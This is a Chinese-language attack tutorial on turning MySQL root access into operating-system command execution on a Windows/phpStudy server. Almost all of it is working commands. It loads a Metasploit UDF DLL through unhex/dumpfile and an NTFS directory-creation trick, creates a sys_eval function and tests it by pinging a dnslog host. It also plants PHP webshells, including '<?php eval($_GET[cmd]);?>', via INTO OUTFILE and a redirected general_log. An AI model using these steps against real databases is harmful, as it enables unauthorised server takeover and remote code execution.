提权基础
1、mysql权限为root权限
2、secure_file_priv的值为空值,该值可通过执行mysql语句show globalvariables like 'secure%';查看

3、写入文件目录具备可写权限
提权过程
1、查看操作系统版本及plugin目录
查询操作系统版本showvariables like '%compile%';

查询plugin目录show variables like 'plugin%';

2、根据操作系统版本选择插件,当前服务器为64位操作系统版本,故可在kali中/usr/share/metasploit-framework/data/exploits/mysql导出64位的udf.dll到本地

3、创建lib\plugin目录
select '123' into dumpfile'C:\\phpstudy_pro\\Extensions\\MySQL5.7.262\\lib\\plugin::$INDEX_ALLOCATION'

成功创建

4、使用winhex获取udf.dll的16进制文本


5、在lib\plugin目录下生成udf.dll
select unhex(udf的十六进制文本) intodumpfile"C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll";

6、创建函数执行命令
create function sys_eval returns string soname'udf.dll';

执行ping dnslog命令
select sys_eval('ping jo4lce.dnslog.cn');


提权基础
1、mysql权限为root权限
2、secure_file_priv的值为空值,该值可通过执行mysql语句show globalvariables like 'secure%';查看

3、写入文件目录具备可写权限
4、目标服务器存在web应用,且知道web目录物理绝对路径
提权过程
1、目标服务器存在php应用,且已知应用的物理绝对路径为C:\phpstudy_pro\WWW,现可执行select php木马内容 into outfile‘C:\\phpstudy_pro\\WWW\\t111.php’

2、成功写入

提权基础
1、mysql权限为root权限
2、目标服务器存在web应用,且知道web目录物理绝对路径
提权过程
1、查看general_log 相关值show variables like ’%general%';
2、设置general_log的值为on set global general_log = on;

3、设置general_log_file的值为web目录下的某个php文件
set globalgeneral_log_file = 'C:\\phpstudy_pro\\WWW\\a349.php';

4、执行select'<?php eval($_GET[cmd]);?>';

5、构造命令执行payloda,成功执行命令








